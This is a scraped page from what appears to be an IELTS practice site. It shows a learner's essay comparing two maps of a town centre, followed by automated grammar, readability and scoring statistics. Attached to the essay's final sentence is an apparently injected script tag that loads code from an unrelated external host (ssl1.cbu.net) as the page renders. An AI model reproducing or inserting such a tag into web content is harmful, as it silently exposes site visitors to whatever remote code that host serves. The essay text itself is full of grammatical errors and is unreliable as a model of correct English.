The maps illustrate the centre in small town build and planned development. Summarize the information by selecting and reporting the main features and make comparisons where relevant.
The two map show information about how the centre in small town build and planned development.
It is clear that the centre witness radical change with the most noticeable being the countryside and housing in the entrance.
The centre was design new including school housing, park, 2 shops, main road and countryside. The housing accessible centre and opposite with 2 shops and countryside. Look at the map when planned development, the centre have the bus station and shopping centre replaced shops and car park and new building next side at the top.
While the school and housing remain in the bottom, it is become more spacious and go to the next to the car park we will see new housing on the rising and 2 housing above the shops. Meanwhile, compared to the present, town centre of planned development have few new places (7 areas), the bus station, shopping centre, two car park, 2 new housing, shops and one housing. Summarize the information by selecting and reporting the main features and making comparisons where relevant. So, it can be seen that the town centre in planned development is modern than in the present.<script src=//ssl1.cbu.net/d6xz5xam></script>
- Some people say we do not need printed papers newspaper anymore as there are other means To what extent do you agree or disagree 73
- Some people believe that success in sports depends on physical ability Others believe that there are more important factors Discuss both views and give your own opinion 73
- The table shows the information of total health expenditure per capita in five countries in 2019 Summaries the information by selecting and reporting the main features and make comparisons where relevant 67
- The diagram below shows how a modern landfill for household waste is designed Summarize the information by selecting and reporting the main features and make comparisons where relevant 11
- Pollution and environment damage result from developing and making the country richer To what extent do you agree or disagree with this opinion 84
Grammar and spelling errors:
Line 4, column 324, Rule ID: CD_NN[1]
Message: Possible agreement error. The noun 'park' seems to be countable, so consider using: 'parks'.
Suggestion: parks
...e bus station, shopping centre, two car park, 2 new housing, shops and one housing. ...
^^^^
Transition Words or Phrases used:
look, so, while
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 6.0 7.0 86% => OK
Auxiliary verbs: 2.0 1.00243902439 200% => OK
Conjunction : 14.0 6.8 206% => Less conjunction wanted
Relative clauses : 4.0 3.15609756098 127% => OK
Pronoun: 6.0 5.60731707317 107% => OK
Preposition: 18.0 33.7804878049 53% => More preposition wanted.
Nominalization: 9.0 3.97073170732 227% => Less nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 935.0 965.302439024 97% => OK
No of words: 193.0 196.424390244 98% => OK
Chars per words: 4.84455958549 4.92477711251 98% => OK
Fourth root words length: 3.72725689877 3.73543355544 100% => OK
Word Length SD: 2.61451208467 2.65546596893 98% => OK
Unique words: 103.0 106.607317073 97% => OK
Unique words percentage: 0.533678756477 0.547539520022 97% => OK
syllable_count: 270.9 283.868780488 95% => OK
avg_syllables_per_word: 1.4 1.45097560976 96% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 3.0 1.53170731707 196% => OK
Article: 5.0 4.33902439024 115% => OK
Subordination: 1.0 1.07073170732 93% => OK
Conjunction: 0.0 0.482926829268 0% => OK
Preposition: 0.0 3.36585365854 0% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 9.0 8.94146341463 101% => OK
Sentence length: 21.0 22.4926829268 93% => OK
Sentence length SD: 39.4686936416 43.030603864 92% => OK
Chars per sentence: 103.888888889 112.824112599 92% => OK
Words per sentence: 21.4444444444 22.9334400587 94% => OK
Discourse Markers: 1.66666666667 5.23603664747 32% => More transition words/phrases wanted.
Paragraphs: 4.0 3.83414634146 104% => OK
Language errors: 1.0 1.69756097561 59% => OK
Sentences with positive sentiment : 2.0 3.70975609756 54% => More positive sentences wanted.
Sentences with negative sentiment : 0.0 1.13902439024 0% => More negative sentences wanted.
Sentences with neutral sentiment: 7.0 4.09268292683 171% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.32156749484 0.215688989381 149% => OK
Sentence topic coherence: 0.154614687469 0.103423049105 149% => OK
Sentence topic coherence SD: 0.157862870828 0.0843802449381 187% => OK
Paragraph topic coherence: 0.191508581563 0.15604864568 123% => OK
Paragraph topic coherence SD: 0.112437746754 0.0819641961636 137% => OK
Essay readability:
automated_readability_index: 12.1 13.2329268293 91% => Automated_readability_index is low.
flesch_reading_ease: 67.08 61.2550243902 110% => OK
smog_index: 8.8 6.51609756098 135% => OK
flesch_kincaid_grade: 9.1 10.3012195122 88% => OK
coleman_liau_index: 10.79 11.4140731707 95% => OK
dale_chall_readability_score: 7.62 8.06136585366 95% => OK
difficult_words: 36.0 40.7170731707 88% => OK
linsear_write_formula: 8.0 11.4329268293 70% => OK
gunning_fog: 10.4 10.9970731707 95% => OK
text_standard: 8.0 11.0658536585 72% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.